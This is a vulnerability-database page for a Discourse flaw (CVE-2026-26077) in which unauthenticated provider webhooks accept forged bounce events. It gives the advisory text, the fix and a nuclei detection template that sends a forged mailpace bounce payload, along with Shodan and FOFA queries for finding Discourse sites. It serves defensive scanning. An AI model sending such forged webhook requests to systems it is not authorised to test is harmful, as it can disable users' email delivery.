Browse / CVEs / CVE-2026-26077
CVE-2026-26077· discourse / discourse· CWE-306
Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
Impact
An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
Fix
Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
How to confirm it
Send: GET /
Positive when: contains(body, "Discourse")
Send: POST /webhooks/mailpace
Positive when: regex("^\\s*$", body) and contains(header, "X-Request-Id") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-26077 -u <target>
The full check
id: CVE-2026-26077
info:
name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
author: str4k3r
severity: medium
description: |
Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
impact: |
An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
remediation: |
Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
cvss-score: 6.5
cve-id: CVE-2026-26077
epss-score: 0.00928
epss-percentile: 0.60856
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: discourse
product: discourse
shodan-query: http.component:"Discourse"
fofa-query: body="Discourse"
tags: cve,cve2026,discourse,authbypass,unauth
variables:
token: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "Discourse")'
internal: true
- raw:
- |
POST /webhooks/mailpace HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"event":"email.bounced","payload":{"message_id":"{{token}}@example.local","status":"bounced"}}
matchers:
- type: dsl
dsl:
- 'regex("^\\s*$", body)'
- 'contains(header, "X-Request-Id")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from